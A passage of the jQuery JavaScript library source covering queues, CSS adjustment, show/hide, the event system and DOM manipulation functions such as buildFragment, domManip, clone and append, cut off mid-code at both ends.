{ var queue = jQuery.queue( this, type, data ); // Ensure a hooks for this queue jQuery._queueHooks( this, type ); if ( type === "fx" && queue[ 0 ] !== "inprogress" ) { jQuery.dequeue( this, type ); } } ); }, dequeue: function( type ) { return this.each( function() { jQuery.dequeue( this, type ); } ); }, clearQueue: function( type ) { return this.queue( type || "fx", [] ); }, // Get a promise resolved when queues of a certain type // are emptied (fx is the type by default) promise: function( type, obj ) { var tmp, count = 1, defer = jQuery.Deferred(), elements = this, i = this.length, resolve = function() { if ( !( --count ) ) { defer.resolveWith( elements, [ elements ] ); } }; if ( typeof type !== "string" ) { obj = type; type = undefined; } type = type || "fx"; while ( i-- ) { tmp = dataPriv.get( elements[ i ], type + "queueHooks" ); if ( tmp && tmp.empty ) { count++; tmp.empty.add( resolve ); } } resolve(); return defer.promise( obj ); } } ); var pnum = ( /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/ ).source; var rcssNum = new RegExp( "^(?:([+-])=|)(" + pnum + ")([a-z%]*)$", "i" ); var cssExpand = [ "Top", "Right", "Bottom", "Left" ]; var isHiddenWithinTree = function( elem, el ) { // isHiddenWithinTree might be called from jQuery#filter function; // in that case, element will be second argument elem = el || elem; // Inline style trumps all return elem.style.display === "none" || elem.style.display === "" && // Otherwise, check computed style // Support: Firefox <=43 - 45 // Disconnected elements can have computed display: none, so first confirm that elem is // in the document. jQuery.contains( elem.ownerDocument, elem ) && jQuery.css( elem, "display" ) === "none"; }; var swap = function( elem, options, callback, args ) { var ret, name, old = {}; // Remember the old values, and insert the new ones for ( name in options ) { old[ name ] = elem.style[ name ]; elem.style[ name ] = options[ name ]; } ret = callback.apply( elem, args || [] ); // Revert the old values for ( name in options ) { elem.style[ name ] = old[ name ]; } return ret; }; function adjustCSS( elem, prop, valueParts, tween ) { var adjusted, scale = 1, maxIterations = 20, currentValue = tween ? function() { return tween.cur(); } : function() { return jQuery.css( elem, prop, "" ); }, initial = currentValue(), unit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? "" : "px" ), // Starting value computation is required for potential unit mismatches initialInUnit = ( jQuery.cssNumber[ prop ] || unit !== "px" && +initial ) && rcssNum.exec( jQuery.css( elem, prop ) ); if ( initialInUnit && initialInUnit[ 3 ] !== unit ) { // Trust units reported by jQuery.css unit = unit || initialInUnit[ 3 ]; // Make sure we update the tween properties later on valueParts = valueParts || []; // Iteratively approximate from a nonzero starting point initialInUnit = +initial || 1; do { // If previous iteration zeroed out, double until we get *something*. // Use string for doubling so we don't accidentally see scale as unchanged below scale = scale || ".5"; // Adjust and apply initialInUnit = initialInUnit / scale; jQuery.style( elem, prop, initialInUnit + unit ); // Update scale, tolerating zero or NaN from tween.cur() // Break the loop if scale is unchanged or perfect, or if we've just had enough. } while ( scale !== ( scale = currentValue() / initial ) && scale !== 1 && --maxIterations ); } if ( valueParts ) { initialInUnit = +initialInUnit || +initial || 0; // Apply relative offset (+=/-=) if specified adjusted = valueParts[ 1 ] ? initialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] : +valueParts[ 2 ]; if ( tween ) { tween.unit = unit; tween.start = initialInUnit; tween.end = adjusted; } } return adjusted; } var defaultDisplayMap = {}; function getDefaultDisplay( elem ) { var temp, doc = elem.ownerDocument, nodeName = elem.nodeName, display = defaultDisplayMap[ nodeName ]; if ( display ) { return display; } temp = doc.body.appendChild( doc.createElement( nodeName ) ), display = jQuery.css( temp, "display" ); temp.parentNode.removeChild( temp ); if ( display === "none" ) { display = "block"; } defaultDisplayMap[ nodeName ] = display; return display; } function showHide( elements, show ) { var display, elem, values = [], index = 0, length = elements.length; // Determine new display value for elements that need to change for ( ; index < length; index++ ) { elem = elements[ index ]; if ( !elem.style ) { continue; } display = elem.style.display; if ( show ) { // Since we force visibility upon cascade-hidden elements, an immediate (and slow) // check is required in this first loop unless we have a nonempty display value (either // inline or about-to-be-restored) if ( display === "none" ) { values[ index ] = dataPriv.get( elem, "display" ) || null; if ( !values[ index ] ) { elem.style.display = ""; } } if ( elem.style.display === "" && isHiddenWithinTree( elem ) ) { values[ index ] = getDefaultDisplay( elem ); } } else { if ( display !== "none" ) { values[ index ] = "none"; // Remember what we're overwriting dataPriv.set( elem, "display", display ); } } } // Set the display of the elements in a second loop to avoid constant reflow for ( index = 0; index < length; index++ ) { if ( values[ index ] != null ) { elements[ index ].style.display = values[ index ]; } } return elements; } jQuery.fn.extend( { show: function() { return showHide( this, true ); }, hide: function() { return showHide( this ); }, toggle: function( state ) { if ( typeof state === "boolean" ) { return state ? this.show() : this.hide(); } return this.each( function() { if ( isHiddenWithinTree( this ) ) { jQuery( this ).show(); } else { jQuery( this ).hide(); } } ); } } ); var rcheckableType = ( /^(?:checkbox|radio)$/i ); var rtagName = ( /<([a-z][^\/\0>\x20\t\r\n\f]+)/i ); var rscriptType = ( /^$|\/(?:java|ecma)script/i ); // We have to close these tags to support XHTML (#13200) var wrapMap = { // Support: IE <=9 only option: [ 1, "<select multiple='multiple'>", "</select>" ], // XHTML parsers do not magically insert elements in the // same way that tag soup parsers do. So we cannot shorten // this by omitting <tbody> or other required elements. thead: [ 1, "<table>", "</table>" ], col: [ 2, "<table><colgroup>", "</colgroup></table>" ], tr: [ 2, "<table><tbody>", "</tbody></table>" ], td: [ 3, "<table><tbody><tr>", "</tr></tbody></table>" ], _default: [ 0, "", "" ] }; // Support: IE <=9 only wrapMap.optgroup = wrapMap.option; wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead; wrapMap.th = wrapMap.td; function getAll( context, tag ) { // Support: IE <=9 - 11 only // Use typeof to avoid zero-argument method invocation on host objects (#15151) var ret = typeof context.getElementsByTagName !== "undefined" ? context.getElementsByTagName( tag || "*" ) : typeof context.querySelectorAll !== "undefined" ? context.querySelectorAll( tag || "*" ) : []; return tag === undefined || tag && jQuery.nodeName( context, tag ) ? jQuery.merge( [ context ], ret ) : ret; } // Mark scripts as having already been evaluated function setGlobalEval( elems, refElements ) { var i = 0, l = elems.length; for ( ; i < l; i++ ) { dataPriv.set( elems[ i ], "globalEval", !refElements || dataPriv.get( refElements[ i ], "globalEval" ) ); } } var rhtml = /<|&#?\w+;/; function buildFragment( elems, context, scripts, selection, ignored ) { var elem, tmp, tag, wrap, contains, j, fragment = context.createDocumentFragment(), nodes = [], i = 0, l = elems.length; for ( ; i < l; i++ ) { elem = elems[ i ]; if ( elem || elem === 0 ) { // Add nodes directly if ( jQuery.type( elem ) === "object" ) { // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( nodes, elem.nodeType ? [ elem ] : elem ); // Convert non-html into a text node } else if ( !rhtml.test( elem ) ) { nodes.push( context.createTextNode( elem ) ); // Convert html into DOM nodes } else { tmp = tmp || fragment.appendChild( context.createElement( "div" ) ); // Deserialize a standard representation tag = ( rtagName.exec( elem ) || [ "", "" ] )[ 1 ].toLowerCase(); wrap = wrapMap[ tag ] || wrapMap._default; tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ]; // Descend through wrappers to the right content j = wrap[ 0 ]; while ( j-- ) { tmp = tmp.lastChild; } // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( nodes, tmp.childNodes ); // Remember the top-level container tmp = fragment.firstChild; // Ensure the created nodes are orphaned (#12392) tmp.textContent = ""; } } } // Remove wrapper from fragment fragment.textContent = ""; i = 0; while ( ( elem = nodes[ i++ ] ) ) { // Skip elements already in the context collection (trac-4087) if ( selection && jQuery.inArray( elem, selection ) > -1 ) { if ( ignored ) { ignored.push( elem ); } continue; } contains = jQuery.contains( elem.ownerDocument, elem ); // Append to fragment tmp = getAll( fragment.appendChild( elem ), "script" ); // Preserve script evaluation history if ( contains ) { setGlobalEval( tmp ); } // Capture executables if ( scripts ) { j = 0; while ( ( elem = tmp[ j++ ] ) ) { if ( rscriptType.test( elem.type || "" ) ) { scripts.push( elem ); } } } } return fragment; } ( function() { var fragment = document.createDocumentFragment(), div = fragment.appendChild( document.createElement( "div" ) ), input = document.createElement( "input" ); // Support: Android 4.0 - 4.3 only // Check state lost if the name is set (#11217) // Support: Windows Web Apps (WWA) // `name` and `type` must use .setAttribute for WWA (#14901) input.setAttribute( "type", "radio" ); input.setAttribute( "checked", "checked" ); input.setAttribute( "name", "t" ); div.appendChild( input ); // Support: Android <=4.1 only // Older WebKit doesn't clone checked state correctly in fragments support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked; // Support: IE <=11 only // Make sure textarea (and checkbox) defaultValue is properly cloned div.innerHTML = "<textarea>x</textarea>"; support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue; } )(); var documentElement = document.documentElement; var rkeyEvent = /^key/, rmouseEvent = /^(?:mouse|pointer|contextmenu|drag|drop)|click/, rtypenamespace = /^([^.]*)(?:\.(.+)|)/; function returnTrue() { return true; } function returnFalse() { return false; } // Support: IE <=9 only // See #13393 for more info function safeActiveElement() { try { return document.activeElement; } catch ( err ) { } } function on( elem, types, selector, data, fn, one ) { var origFn, type; // Types can be a map of types/handlers if ( typeof types === "object" ) { // ( types-Object, selector, data ) if ( typeof selector !== "string" ) { // ( types-Object, data ) data = data || selector; selector = undefined; } for ( type in types ) { on( elem, type, selector, data, types[ type ], one ); } return elem; } if ( data == null && fn == null ) { // ( types, fn ) fn = selector; data = selector = undefined; } else if ( fn == null ) { if ( typeof selector === "string" ) { // ( types, selector, fn ) fn = data; data = undefined; } else { // ( types, data, fn ) fn = data; data = selector; selector = undefined; } } if ( fn === false ) { fn = returnFalse; } else if ( !fn ) { return elem; } if ( one === 1 ) { origFn = fn; fn = function( event ) { // Can use an empty set, since event contains the info jQuery().off( event ); return origFn.apply( this, arguments ); }; // Use same guid so caller can remove using origFn fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ ); } return elem.each( function() { jQuery.event.add( this, types, fn, data, selector ); } ); } /* * Helper functions for managing events -- not part of the public interface. * Props to Dean Edwards' addEvent library for many of the ideas. */ jQuery.event = { global: {}, add: function( elem, types, handler, data, selector ) { var handleObjIn, eventHandle, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = dataPriv.get( elem ); // Don't attach events to noData or text/comment nodes (but allow plain objects) if ( !elemData ) { return; } // Caller can pass in an object of custom data in lieu of the handler if ( handler.handler ) { handleObjIn = handler; handler = handleObjIn.handler; selector = handleObjIn.selector; } // Ensure that invalid selectors throw exceptions at attach time // Evaluate against documentElement in case elem is a non-element node (e.g., document) if ( selector ) { jQuery.find.matchesSelector( documentElement, selector ); } // Make sure that the handler has a unique ID, used to find/remove it later if ( !handler.guid ) { handler.guid = jQuery.guid++; } // Init the element's event structure and main handler, if this is the first if ( !( events = elemData.events ) ) { events = elemData.events = {}; } if ( !( eventHandle = elemData.handle ) ) { eventHandle = elemData.handle = function( e ) { // Discard the second event of a jQuery.event.trigger() and // when an event is called after a page has unloaded return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ? jQuery.event.dispatch.apply( elem, arguments ) : undefined; }; } // Handle multiple events separated by a space types = ( types || "" ).match( rnotwhite ) || [ "" ]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[ t ] ) || []; type = origType = tmp[ 1 ]; namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); // There *must* be a type, no attaching namespace-only handlers if ( !type ) { continue; } // If event changes its type, use the special event handlers for the changed type special = jQuery.event.special[ type ] || {}; // If selector defined, determine special event api type, otherwise given type type = ( selector ? special.delegateType : special.bindType ) || type; // Update special based on newly reset type special = jQuery.event.special[ type ] || {}; // handleObj is passed to all event handlers handleObj = jQuery.extend( { type: type, origType: origType, data: data, handler: handler, guid: handler.guid, selector: selector, needsContext: selector && jQuery.expr.match.needsContext.test( selector ), namespace: namespaces.join( "." ) }, handleObjIn ); // Init the event handler queue if we're the first if ( !( handlers = events[ type ] ) ) { handlers = events[ type ] = []; handlers.delegateCount = 0; // Only use addEventListener if the special events handler returns false if ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) { if ( elem.addEventListener ) { elem.addEventListener( type, eventHandle ); } } } if ( special.add ) { special.add.call( elem, handleObj ); if ( !handleObj.handler.guid ) { handleObj.handler.guid = handler.guid; } } // Add to the element's handler list, delegates in front if ( selector ) { handlers.splice( handlers.delegateCount++, 0, handleObj ); } else { handlers.push( handleObj ); } // Keep track of which events have ever been used, for event optimization jQuery.event.global[ type ] = true; } }, // Detach an event or set of events from an element remove: function( elem, types, handler, selector, mappedTypes ) { var j, origCount, tmp, events, t, handleObj, special, handlers, type, namespaces, origType, elemData = dataPriv.hasData( elem ) && dataPriv.get( elem ); if ( !elemData || !( events = elemData.events ) ) { return; } // Once for each type.namespace in types; type may be omitted types = ( types || "" ).match( rnotwhite ) || [ "" ]; t = types.length; while ( t-- ) { tmp = rtypenamespace.exec( types[ t ] ) || []; type = origType = tmp[ 1 ]; namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort(); // Unbind all events (on this namespace, if provided) for the element if ( !type ) { for ( type in events ) { jQuery.event.remove( elem, type + types[ t ], handler, selector, true ); } continue; } special = jQuery.event.special[ type ] || {}; type = ( selector ? special.delegateType : special.bindType ) || type; handlers = events[ type ] || []; tmp = tmp[ 2 ] && new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ); // Remove matching events origCount = j = handlers.length; while ( j-- ) { handleObj = handlers[ j ]; if ( ( mappedTypes || origType === handleObj.origType ) && ( !handler || handler.guid === handleObj.guid ) && ( !tmp || tmp.test( handleObj.namespace ) ) && ( !selector || selector === handleObj.selector || selector === "**" && handleObj.selector ) ) { handlers.splice( j, 1 ); if ( handleObj.selector ) { handlers.delegateCount--; } if ( special.remove ) { special.remove.call( elem, handleObj ); } } } // Remove generic event handler if we removed something and no more handlers exist // (avoids potential for endless recursion during removal of special event handlers) if ( origCount && !handlers.length ) { if ( !special.teardown || special.teardown.call( elem, namespaces, elemData.handle ) === false ) { jQuery.removeEvent( elem, type, elemData.handle ); } delete events[ type ]; } } // Remove data and the expando if it's no longer used if ( jQuery.isEmptyObject( events ) ) { dataPriv.remove( elem, "handle events" ); } }, dispatch: function( nativeEvent ) { // Make a writable jQuery.Event from the native event object var event = jQuery.event.fix( nativeEvent ); var i, j, ret, matched, handleObj, handlerQueue, args = new Array( arguments.length ), handlers = ( dataPriv.get( this, "events" ) || {} )[ event.type ] || [], special = jQuery.event.special[ event.type ] || {}; // Use the fix-ed jQuery.Event rather than the (read-only) native event args[ 0 ] = event; for ( i = 1; i < arguments.length; i++ ) { args[ i ] = arguments[ i ]; } event.delegateTarget = this; // Call the preDispatch hook for the mapped type, and let it bail if desired if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) { return; } // Determine handlers handlerQueue = jQuery.event.handlers.call( this, event, handlers ); // Run delegates first; they may want to stop propagation beneath us i = 0; while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) { event.currentTarget = matched.elem; j = 0; while ( ( handleObj = matched.handlers[ j++ ] ) && !event.isImmediatePropagationStopped() ) { // Triggered event must either 1) have no namespace, or 2) have namespace(s) // a subset or equal to those in the bound event (both can have no namespace). if ( !event.rnamespace || event.rnamespace.test( handleObj.namespace ) ) { event.handleObj = handleObj; event.data = handleObj.data; ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle || handleObj.handler ).apply( matched.elem, args ); if ( ret !== undefined ) { if ( ( event.result = ret ) === false ) { event.preventDefault(); event.stopPropagation(); } } } } } // Call the postDispatch hook for the mapped type if ( special.postDispatch ) { special.postDispatch.call( this, event ); } return event.result; }, handlers: function( event, handlers ) { var i, matches, sel, handleObj, handlerQueue = [], delegateCount = handlers.delegateCount, cur = event.target; // Support: IE <=9 // Find delegate handlers // Black-hole SVG <use> instance trees (#13180) // // Support: Firefox <=42 // Avoid non-left-click in FF but don't block IE radio events (#3861, gh-2343) if ( delegateCount && cur.nodeType && ( event.type !== "click" || isNaN( event.button ) || event.button < 1 ) ) { for ( ; cur !== this; cur = cur.parentNode || this ) { // Don't check non-elements (#13208) // Don't process clicks on disabled elements (#6911, #8165, #11382, #11764) if ( cur.nodeType === 1 && ( cur.disabled !== true || event.type !== "click" ) ) { matches = []; for ( i = 0; i < delegateCount; i++ ) { handleObj = handlers[ i ]; // Don't conflict with Object.prototype properties (#13203) sel = handleObj.selector + " "; if ( matches[ sel ] === undefined ) { matches[ sel ] = handleObj.needsContext ? jQuery( sel, this ).index( cur ) > -1 : jQuery.find( sel, this, null, [ cur ] ).length; } if ( matches[ sel ] ) { matches.push( handleObj ); } } if ( matches.length ) { handlerQueue.push( { elem: cur, handlers: matches } ); } } } } // Add the remaining (directly-bound) handlers if ( delegateCount < handlers.length ) { handlerQueue.push( { elem: this, handlers: handlers.slice( delegateCount ) } ); } return handlerQueue; }, addProp: function( name, hook ) { Object.defineProperty( jQuery.Event.prototype, name, { enumerable: true, configurable: true, get: jQuery.isFunction( hook ) ? function() { if ( this.originalEvent ) { return hook( this.originalEvent ); } } : function() { if ( this.originalEvent ) { return this.originalEvent[ name ]; } }, set: function( value ) { Object.defineProperty( this, name, { enumerable: true, configurable: true, writable: true, value: value } ); } } ); }, fix: function( originalEvent ) { return originalEvent[ jQuery.expando ] ? originalEvent : new jQuery.Event( originalEvent ); }, special: { load: { // Prevent triggered image.load events from bubbling to window.load noBubble: true }, focus: { // Fire native event if possible so blur/focus sequence is correct trigger: function() { if ( this !== safeActiveElement() && this.focus ) { this.focus(); return false; } }, delegateType: "focusin" }, blur: { trigger: function() { if ( this === safeActiveElement() && this.blur ) { this.blur(); return false; } }, delegateType: "focusout" }, click: { // For checkbox, fire native event so checked state will be right trigger: function() { if ( this.type === "checkbox" && this.click && jQuery.nodeName( this, "input" ) ) { this.click(); return false; } }, // For cross-browser consistency, don't fire native .click() on links _default: function( event ) { return jQuery.nodeName( event.target, "a" ); } }, beforeunload: { postDispatch: function( event ) { // Support: Firefox 20+ // Firefox doesn't alert if the returnValue field is not set. if ( event.result !== undefined && event.originalEvent ) { event.originalEvent.returnValue = event.result; } } } } }; jQuery.removeEvent = function( elem, type, handle ) { // This "if" is needed for plain objects if ( elem.removeEventListener ) { elem.removeEventListener( type, handle ); } }; jQuery.Event = function( src, props ) { // Allow instantiation without the 'new' keyword if ( !( this instanceof jQuery.Event ) ) { return new jQuery.Event( src, props ); } // Event object if ( src && src.type ) { this.originalEvent = src; this.type = src.type; // Events bubbling up the document may have been marked as prevented // by a handler lower down the tree; reflect the correct value. this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && // Support: Android <=2.3 only src.returnValue === false ? returnTrue : returnFalse; // Create target properties // Support: Safari <=6 - 7 only // Target should not be a text node (#504, #13143) this.target = ( src.target && src.target.nodeType === 3 ) ? src.target.parentNode : src.target; this.currentTarget = src.currentTarget; this.relatedTarget = src.relatedTarget; // Event type } else { this.type = src; } // Put explicitly provided properties onto the event object if ( props ) { jQuery.extend( this, props ); } // Create a timestamp if incoming event doesn't have one this.timeStamp = src && src.timeStamp || jQuery.now(); // Mark it as fixed this[ jQuery.expando ] = true; }; // jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding // https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html jQuery.Event.prototype = { constructor: jQuery.Event, isDefaultPrevented: returnFalse, isPropagationStopped: returnFalse, isImmediatePropagationStopped: returnFalse, isSimulated: false, preventDefault: function() { var e = this.originalEvent; this.isDefaultPrevented = returnTrue; if ( e && !this.isSimulated ) { e.preventDefault(); } }, stopPropagation: function() { var e = this.originalEvent; this.isPropagationStopped = returnTrue; if ( e && !this.isSimulated ) { e.stopPropagation(); } }, stopImmediatePropagation: function() { var e = this.originalEvent; this.isImmediatePropagationStopped = returnTrue; if ( e && !this.isSimulated ) { e.stopImmediatePropagation(); } this.stopPropagation(); } }; // Includes all common event props including KeyEvent and MouseEvent specific props jQuery.each( { altKey: true, bubbles: true, cancelable: true, changedTouches: true, ctrlKey: true, detail: true, eventPhase: true, metaKey: true, pageX: true, pageY: true, shiftKey: true, view: true, "char": true, charCode: true, key: true, keyCode: true, button: true, buttons: true, clientX: true, clientY: true, offsetX: true, offsetY: true, pointerId: true, pointerType: true, screenX: true, screenY: true, targetTouches: true, toElement: true, touches: true, which: function( event ) { var button = event.button; // Add which for key events if ( event.which == null && rkeyEvent.test( event.type ) ) { return event.charCode != null ? event.charCode : event.keyCode; } // Add which for click: 1 === left; 2 === middle; 3 === right if ( !event.which && button !== undefined && rmouseEvent.test( event.type ) ) { return ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) ); } return event.which; } }, jQuery.event.addProp ); // Create mouseenter/leave events using mouseover/out and event-time checks // so that event delegation works in jQuery. // Do the same for pointerenter/pointerleave and pointerover/pointerout // // Support: Safari 7 only // Safari sends mouseenter too often; see: // https://bugs.chromium.org/p/chromium/issues/detail?id=470258 // for the description of the bug (it existed in older Chrome versions as well). jQuery.each( { mouseenter: "mouseover", mouseleave: "mouseout", pointerenter: "pointerover", pointerleave: "pointerout" }, function( orig, fix ) { jQuery.event.special[ orig ] = { delegateType: fix, bindType: fix, handle: function( event ) { var ret, target = this, related = event.relatedTarget, handleObj = event.handleObj; // For mouseenter/leave call the handler if related is outside the target. // NB: No relatedTarget if the mouse left/entered the browser window if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) { event.type = handleObj.origType; ret = handleObj.handler.apply( this, arguments ); event.type = fix; } return ret; } }; } ); jQuery.fn.extend( { on: function( types, selector, data, fn ) { return on( this, types, selector, data, fn ); }, one: function( types, selector, data, fn ) { return on( this, types, selector, data, fn, 1 ); }, off: function( types, selector, fn ) { var handleObj, type; if ( types && types.preventDefault && types.handleObj ) { // ( event ) dispatched jQuery.Event handleObj = types.handleObj; jQuery( types.delegateTarget ).off( handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler ); return this; } if ( typeof types === "object" ) { // ( types-object [, selector] ) for ( type in types ) { this.off( type, selector, types[ type ] ); } return this; } if ( selector === false || typeof selector === "function" ) { // ( types [, fn] ) fn = selector; selector = undefined; } if ( fn === false ) { fn = returnFalse; } return this.each( function() { jQuery.event.remove( this, types, fn, selector ); } ); } } ); var rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi, // Support: IE <=10 - 11, Edge 12 - 13 // In IE/Edge using regex groups here causes severe slowdowns. // See https://connect.microsoft.com/IE/feedback/details/1736512/ rnoInnerhtml = /<script|<style|<link/i, // checked="checked" or checked rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i, rscriptTypeMasked = /^true\/(.*)/, rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g; function manipulationTarget( elem, content ) { if ( jQuery.nodeName( elem, "table" ) && jQuery.nodeName( content.nodeType !== 11 ? content : content.firstChild, "tr" ) ) { return elem.getElementsByTagName( "tbody" )[ 0 ] || elem; } return elem; } // Replace/restore the type attribute of script elements for safe DOM manipulation function disableScript( elem ) { elem.type = ( elem.getAttribute( "type" ) !== null ) + "/" + elem.type; return elem; } function restoreScript( elem ) { var match = rscriptTypeMasked.exec( elem.type ); if ( match ) { elem.type = match[ 1 ]; } else { elem.removeAttribute( "type" ); } return elem; } function cloneCopyEvent( src, dest ) { var i, l, type, pdataOld, pdataCur, udataOld, udataCur, events; if ( dest.nodeType !== 1 ) { return; } // 1. Copy private data: events, handlers, etc. if ( dataPriv.hasData( src ) ) { pdataOld = dataPriv.access( src ); pdataCur = dataPriv.set( dest, pdataOld ); events = pdataOld.events; if ( events ) { delete pdataCur.handle; pdataCur.events = {}; for ( type in events ) { for ( i = 0, l = events[ type ].length; i < l; i++ ) { jQuery.event.add( dest, type, events[ type ][ i ] ); } } } } // 2. Copy user data if ( dataUser.hasData( src ) ) { udataOld = dataUser.access( src ); udataCur = jQuery.extend( {}, udataOld ); dataUser.set( dest, udataCur ); } } // Fix IE bugs, see support tests function fixInput( src, dest ) { var nodeName = dest.nodeName.toLowerCase(); // Fails to persist the checked state of a cloned checkbox or radio button. if ( nodeName === "input" && rcheckableType.test( src.type ) ) { dest.checked = src.checked; // Fails to return the selected option to the default selected state when cloning options } else if ( nodeName === "input" || nodeName === "textarea" ) { dest.defaultValue = src.defaultValue; } } function domManip( collection, args, callback, ignored ) { // Flatten any nested arrays args = concat.apply( [], args ); var fragment, first, scripts, hasScripts, node, doc, i = 0, l = collection.length, iNoClone = l - 1, value = args[ 0 ], isFunction = jQuery.isFunction( value ); // We can't cloneNode fragments that contain checked, in WebKit if ( isFunction || ( l > 1 && typeof value === "string" && !support.checkClone && rchecked.test( value ) ) ) { return collection.each( function( index ) { var self = collection.eq( index ); if ( isFunction ) { args[ 0 ] = value.call( this, index, self.html() ); } domManip( self, args, callback, ignored ); } ); } if ( l ) { fragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored ); first = fragment.firstChild; if ( fragment.childNodes.length === 1 ) { fragment = first; } // Require either new content or an interest in ignored elements to invoke the callback if ( first || ignored ) { scripts = jQuery.map( getAll( fragment, "script" ), disableScript ); hasScripts = scripts.length; // Use the original fragment for the last item // instead of the first because it can end up // being emptied incorrectly in certain situations (#8070). for ( ; i < l; i++ ) { node = fragment; if ( i !== iNoClone ) { node = jQuery.clone( node, true, true ); // Keep references to cloned scripts for later restoration if ( hasScripts ) { // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit jQuery.merge( scripts, getAll( node, "script" ) ); } } callback.call( collection[ i ], node, i ); } if ( hasScripts ) { doc = scripts[ scripts.length - 1 ].ownerDocument; // Reenable scripts jQuery.map( scripts, restoreScript ); // Evaluate executable scripts on first document insertion for ( i = 0; i < hasScripts; i++ ) { node = scripts[ i ]; if ( rscriptType.test( node.type || "" ) && !dataPriv.access( node, "globalEval" ) && jQuery.contains( doc, node ) ) { if ( node.src ) { // Optional AJAX dependency, but won't run scripts if not present if ( jQuery._evalUrl ) { jQuery._evalUrl( node.src ); } } else { DOMEval( node.textContent.replace( rcleanScript, "" ), doc ); } } } } } } return collection; } function remove( elem, selector, keepData ) { var node, nodes = selector ? jQuery.filter( selector, elem ) : elem, i = 0; for ( ; ( node = nodes[ i ] ) != null; i++ ) { if ( !keepData && node.nodeType === 1 ) { jQuery.cleanData( getAll( node ) ); } if ( node.parentNode ) { if ( keepData && jQuery.contains( node.ownerDocument, node ) ) { setGlobalEval( getAll( node, "script" ) ); } node.parentNode.removeChild( node ); } } return elem; } jQuery.extend( { htmlPrefilter: function( html ) { return html.replace( rxhtmlTag, "<$1></$2>" ); }, clone: function( elem, dataAndEvents, deepDataAndEvents ) { var i, l, srcElements, destElements, clone = elem.cloneNode( true ), inPage = jQuery.contains( elem.ownerDocument, elem ); // Fix IE cloning issues if ( !support.noCloneChecked && ( elem.nodeType === 1 || elem.nodeType === 11 ) && !jQuery.isXMLDoc( elem ) ) { // We eschew Sizzle here for performance reasons: https://jsperf.com/getall-vs-sizzle/2 destElements = getAll( clone ); srcElements = getAll( elem ); for ( i = 0, l = srcElements.length; i < l; i++ ) { fixInput( srcElements[ i ], destElements[ i ] ); } } // Copy the events from the original to the clone if ( dataAndEvents ) { if ( deepDataAndEvents ) { srcElements = srcElements || getAll( elem ); destElements = destElements || getAll( clone ); for ( i = 0, l = srcElements.length; i < l; i++ ) { cloneCopyEvent( srcElements[ i ], destElements[ i ] ); } } else { cloneCopyEvent( elem, clone ); } } // Preserve script evaluation history destElements = getAll( clone, "script" ); if ( destElements.length > 0 ) { setGlobalEval( destElements, !inPage && getAll( elem, "script" ) ); } // Return the cloned set return clone; }, cleanData: function( elems ) { var data, elem, type, special = jQuery.event.special, i = 0; for ( ; ( elem = elems[ i ] ) !== undefined; i++ ) { if ( acceptData( elem ) ) { if ( ( data = elem[ dataPriv.expando ] ) ) { if ( data.events ) { for ( type in data.events ) { if ( special[ type ] ) { jQuery.event.remove( elem, type ); // This is a shortcut to avoid jQuery.event.remove's overhead } else { jQuery.removeEvent( elem, type, data.handle ); } } } // Support: Chrome <=35 - 45+ // Assign undefined instead of using delete, see Data#remove elem[ dataPriv.expando ] = undefined; } if ( elem[ dataUser.expando ] ) { // Support: Chrome <=35 - 45+ // Assign undefined instead of using delete, see Data#remove elem[ dataUser.expando ] = undefined; } } } } } ); jQuery.fn.extend( { detach: function( selector ) { return remove( this, selector, true ); }, remove: function( selector ) { return remove( this, selector ); }, text: function( value ) { return access( this, function( value ) { return value === undefined ? jQuery.text( this ) : this.empty().each( function() { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { this.textContent = value; } } ); }, null, value, arguments.length ); }, append: function() { return domManip( this, arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.appendChild( elem ); } } ); }, prepend: function() { return domManip( this, arguments, function( elem ) { if ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) { var target = manipulationTarget( this, elem ); target.insertBefore( elem, target.firstChild ); } } ); }, before: function() { return domManip( this, arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this ); } } ); }, after: function() { return domManip( this, arguments, function( elem ) { if ( this.parentNode ) { this.parentNode.insertBefore( elem, this.nextSibling ); } } ); }, empty: function() { var elem, i = 0; for ( ; ( elem = this[ i ] ) != null; i++ ) { if ( elem.nodeType === 1 ) 